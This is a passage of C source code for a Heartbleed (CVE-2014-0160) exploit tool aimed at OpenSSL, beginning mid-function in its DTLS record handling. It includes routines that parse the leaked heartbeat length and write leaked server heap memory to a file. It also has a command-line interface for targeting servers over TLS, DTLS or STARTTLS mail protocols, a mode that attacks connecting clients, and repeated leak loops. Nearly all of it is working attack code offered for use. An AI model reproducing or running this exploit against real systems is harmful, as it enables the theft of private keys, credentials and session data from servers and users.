n=ssl3_read_n(s,i,i,1); if (n <= 0) goto apple; } if ( n != i) { rr->length = 0; s->packet_length = 0; goto again; } printf("[ decrypting SSL packet "); s->rstate=SSL_ST_READ_HEADER; bitmap = dtls1_get_bitmap(s, rr, &is_next_epoch); if ( bitmap == NULL) { rr->length = 0; s->packet_length = 0; goto again; } if (!(s->d1->listen && rr->type == SSL3_RT_HANDSHAKE && *p == SSL3_MT_CLIENT_HELLO) && !dtls1_record_replay_check(s, bitmap)) { rr->length = 0; s->packet_length=0; goto again; } if (rr->length == 0) goto again; if (is_next_epoch) { if ((SSL_in_init(s) || s->in_handshake) && !s->d1->listen) { dtls1_buffer_record(s, &(s->d1->unprocessed_rcds), rr->seq_num); } rr->length = 0; s->packet_length = 0; goto again; } rr->input= &(s->packet[DTLS1_RT_HEADER_LENGTH]); rr->data=rr->input; orig_len=rr->length; dtls1_enc(s,0); if((sess != NULL) && (s->enc_read_ctx != NULL) && (EVP_MD_CTX_md(s->read_hash) != NULL)) { unsigned char *mac = NULL; unsigned char mac_tmp[EVP_MAX_MD_SIZE]; mac_size=EVP_MD_CTX_size(s->read_hash); OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); orig_len = rr->length+((unsigned int)rr->type>>8); if(orig_len < mac_size || (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && orig_len < mac_size+1)){ al=SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); } if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ mac = mac_tmp; ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); rr->length -= mac_size; } else{ rr->length -= mac_size; mac = &rr->data[rr->length]; } i = tls1_mac(s,md,0); if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) enc_err = -1; if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+mac_size) enc_err = -1; } if(enc_err < 0){ al=SSL_AD_BAD_RECORD_MAC; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); goto apple; } if(s->expand != NULL){ if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); goto apple; } if (!ssl3_do_uncompress(s)) { al=SSL_AD_DECOMPRESSION_FAILURE; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); goto apple; } } if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); goto apple; } rr->off=0; s->packet_length=0; dtls1_record_bitmap_update(s, &(s->d1->bitmap)); if(first==0){ uint heartbleed_len = 0; char* fp = s->s3->rrec.data; (long)fp++; memcpy(&heartbleed_len,fp,2); heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8; first = 2; leakbytes = heartbleed_len + 16; printf("[ heartbleed leaked length=%u ",heartbleed_len); } if(verbose==1){ { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':' '); } printf(" "); } leakbytes-=rr->length; if(leakbytes > 0){ repeat = 1; } else{ repeat = 0; } printf("[ final record type=%d, length=%u ", rr->type, rr->length); int output = s->s3->rrec.length-3; if(output > 0){ int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); if(first==2){ first--; write(fd,s->s3->rrec.data+3,s->s3->rrec.length); /* first three bytes are resp+len */ printf("[ wrote %d bytes of heap to file '%s' ",s->s3->rrec.length-3,filename); } else{ /* heap data & 16 bytes padding */ write(fd,s->s3->rrec.data+3,s->s3->rrec.length); printf("[ wrote %d bytes of heap to file '%s' ",s->s3->rrec.length,filename); } close(fd); } else{ printf("[ nothing from the heap to write "); } dtls1_stop_timer(c->sslHandle); c->sslHandle->tlsext_hb_seq++; c->sslHandle->tlsext_hb_pending = 0; return; apple: printf("[ problem handling SSL record packet - wrong type? "); badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved "); exit(0); } return; } static DTLS1_BITMAP * dtls1_get_bitmap(SSL *s, SSL3_RECORD *rr, unsigned int *is_next_epoch) { *is_next_epoch = 0; if (rr->epoch == s->d1->r_epoch) return &s->d1->bitmap; else if (rr->epoch == (unsigned long)(s->d1->r_epoch + 1) && (rr->type == SSL3_RT_HANDSHAKE || rr->type == SSL3_RT_ALERT)) { *is_next_epoch = 1; return &s->d1->next_bitmap; } return NULL; } static int dtls1_record_replay_check(SSL *s, DTLS1_BITMAP *bitmap) { int cmp; unsigned int shift; const unsigned char *seq = s->s3->read_sequence; cmp = satsub64be(seq,bitmap->max_seq_num); if (cmp > 0) { memcpy (s->s3->rrec.seq_num,seq,8); return 1; } shift = -cmp; if (shift >= sizeof(bitmap->map)*8) return 0; else if (bitmap->map & (1UL<<shift)) return 0; memcpy (s->s3->rrec.seq_num,seq,8); return 1; } int satsub64be(const unsigned char *v1,const unsigned char *v2) { int ret,sat,brw,i; if (sizeof(long) == 8) do { const union { long one; char little; } is_endian = {1}; long l; if (is_endian.little) break; if (((size_t)v1|(size_t)v2)&0x7) break; l = *((long *)v1); l -= *((long *)v2); if (l>128) return 128; else if (l<-128) return -128; else return (int)l; } while (0); ret = (int)v1[7]-(int)v2[7]; sat = 0; brw = ret>>8; if (ret & 0x80) { for (i=6;i>=0;i--) { brw += (int)v1[i]-(int)v2[i]; sat |= ~brw; brw >>= 8; } } else { for (i=6;i>=0;i--) { brw += (int)v1[i]-(int)v2[i]; sat |= brw; brw >>= 8; } } brw <<= 8; if (sat&0xff) return brw | 0x80; else return brw + (ret&0xFF); } static int dtls1_buffer_record(SSL *s, record_pqueue *queue, unsigned char *priority) { DTLS1_RECORD_DATA *rdata; pitem *item; if (pqueue_size(queue->q) >= 100) return 0; rdata = OPENSSL_malloc(sizeof(DTLS1_RECORD_DATA)); item = pitem_new(priority, rdata); if (rdata == NULL || item == NULL) { if (rdata != NULL) OPENSSL_free(rdata); if (item != NULL) pitem_free(item); SSLerr(SSL_F_DTLS1_BUFFER_RECORD, ERR_R_INTERNAL_ERROR); return(0); } rdata->packet = s->packet; rdata->packet_length = s->packet_length; memcpy(&(rdata->rbuf), &(s->s3->rbuf), sizeof(SSL3_BUFFER)); memcpy(&(rdata->rrec), &(s->s3->rrec), sizeof(SSL3_RECORD)); item->data = rdata; #ifndef OPENSSL_NO_SCTP if (BIO_dgram_is_sctp(SSL_get_rbio(s)) && (s->state == SSL3_ST_SR_FINISHED_A || s->state == SSL3_ST_CR_FINISHED_A)) { BIO_ctrl(SSL_get_rbio(s), BIO_CTRL_DGRAM_SCTP_GET_RCVINFO, sizeof(rdata->recordinfo), &rdata->recordinfo); } #endif if (pqueue_insert(queue->q, item) == NULL) { OPENSSL_free(rdata); pitem_free(item); return(0); } s->packet = NULL; s->packet_length = 0; memset(&(s->s3->rbuf), 0, sizeof(SSL3_BUFFER)); memset(&(s->s3->rrec), 0, sizeof(SSL3_RECORD)); if (!ssl3_setup_buffers(s)) { SSLerr(SSL_F_DTLS1_BUFFER_RECORD, ERR_R_INTERNAL_ERROR); OPENSSL_free(rdata); pitem_free(item); return(0); } return(1); } static void dtls1_record_bitmap_update(SSL *s, DTLS1_BITMAP *bitmap) { int cmp; unsigned int shift; const unsigned char *seq = s->s3->read_sequence; cmp = satsub64be(seq,bitmap->max_seq_num); if (cmp > 0) { shift = cmp; if (shift < sizeof(bitmap->map)*8) bitmap->map <<= shift, bitmap->map |= 1UL; else bitmap->map = 1UL; memcpy(bitmap->max_seq_num,seq,8); } else { shift = -cmp; if (shift < sizeof(bitmap->map)*8) bitmap->map |= 1UL<<shift; } } void usage(){ printf("[ "); printf("[ --server|-s <ip/dns> - the server to target "); printf("[ --port|-p <port> - the port to target "); printf("[ --file|-f <filename> - file to write data to "); printf("[ --bind|-b <ip> - bind to ip for exploiting clients "); printf("[ --precmd|-c <n> - send precmd buffer (STARTTLS) "); printf("[ 0 = SMTP "); printf("[ 1 = POP3 "); printf("[ 2 = IMAP "); printf("[ --loop|-l - loop the exploit attempts "); printf("[ --type|-t <n> - select exploit to try "); printf("[ 0 = null length "); printf("[ 1 = max leak "); printf("[ n = heartbeat payload_length "); printf("[ --udp|-u - use dtls/udp "); printf("[ "); printf("[ --verbose|-v - output leak to screen "); printf("[ --help|-h - this output "); printf("[ "); exit(0); } int main(int argc, char* argv[]){ int ret, port, userc, index; int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 9; int loop = 0; struct hostent *h; connection* c; char *host, *file; int ihost = 0, iport = 0, ifile = 0, itype = 0, iprecmd = 0; printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit "); printf("[ ============================================================= "); static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"file", 1, 0, 'f'}, {"type", 1, 0, 't'}, {"bind", 1, 0, 'b'}, {"verbose", 0, 0, 'v'}, {"precmd", 1, 0, 'c'}, {"loop", 0, 0, 'l'}, {"help", 0, 0,'h'}, {"udp", 0, 0, 'u'} }; while(userc != -1) { userc = getopt_long(argc,argv,"s:p:f:t:b:c:lvhu",options,&index); switch(userc) { case -1: break; case 's': if(ihost==0){ ihost = 1; h = gethostbyname(optarg); if(h==NULL){ printf("[!] FATAL: unknown host '%s' ",optarg); exit(1); } host = malloc(strlen(optarg) + 1); if(host==NULL){ printf("[ error in malloc() "); exit(0); } sprintf(host,"%s",optarg); } break; case 'p': if(iport==0){ port = atoi(optarg); iport = 1; } break; case 'f': if(ifile==0){ file = malloc(strlen(optarg) + 1); if(file==NULL){ printf("[ error in malloc() "); exit(0); } sprintf(file,"%s",optarg); ifile = 1; } break; case 't': if(itype==0){ type = atoi(optarg); itype = 1; } break; case 'h': usage(); break; case 'b': if(ihost==0){ ihost = 1; host = malloc(strlen(optarg)+1); if(host==NULL){ printf("[ error in malloc() "); exit(0); } sprintf(host,"%s",optarg); bind = 1; } break; case 'c': if(iprecmd == 0){ iprecmd = 1; precmd = atoi(optarg); } break; case 'v': verbose = 1; break; case 'l': loop = 1; break; case 'u': udp = 1; break; default: break; } } if(ihost==0||iport==0||ifile==0||itype==0){ printf("[ try --help "); exit(0); } ssl_init(); if(bind==0){ if (udp){ c = dtls_client(ret, host, port); dtlsheartbleed(c, type); dtlssneakyleaky(c,file,verbose); while(repeat==1){ dtlssneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop "); first=0; repeat=1; dtlsheartbleed(c,type); while(repeat==1){ dtlssneakyleaky(c,file,verbose); } } } else { ret = tcp_connect(host, port); pre_cmd(ret, precmd, verbose); c = tls_connect(ret); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop "); first=0; repeat=1; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } } SSL_shutdown(c->sslHandle); close (ret); SSL_free(c->sslHandle); } else{ int sd, pid, i; if (udp) { c = dtls_server(sd, host, port); while (1) { char * bytes = malloc(1024); struct sockaddr_in peer; socklen_t len = sizeof(peer); if (recvfrom(c->socket,bytes,1023,0,(struct sockaddr *)&peer,&len) > 0) { dtlsheartbleed(c,type); dtlssneakyleaky(c,file,verbose); while(loop==1){ printf("[ entered heartbleed loop "); first=0; repeat=0; dtlsheartbleed(c,type); while(repeat==1){ dtlssneakyleaky(c,file,verbose); } } } } } else { ret = tcp_bind(host, port); while(1){ sd=accept(ret,0,0); if(sd==-1){ printf("[!] FATAL: problem with accept() "); exit(0); } if(pid=fork()){ close(sd); } else{ c = tls_bind(sd); pre_cmd(ret, precmd, verbose); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop "); first=0; repeat=0; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done. "); exit(0); } } } } }
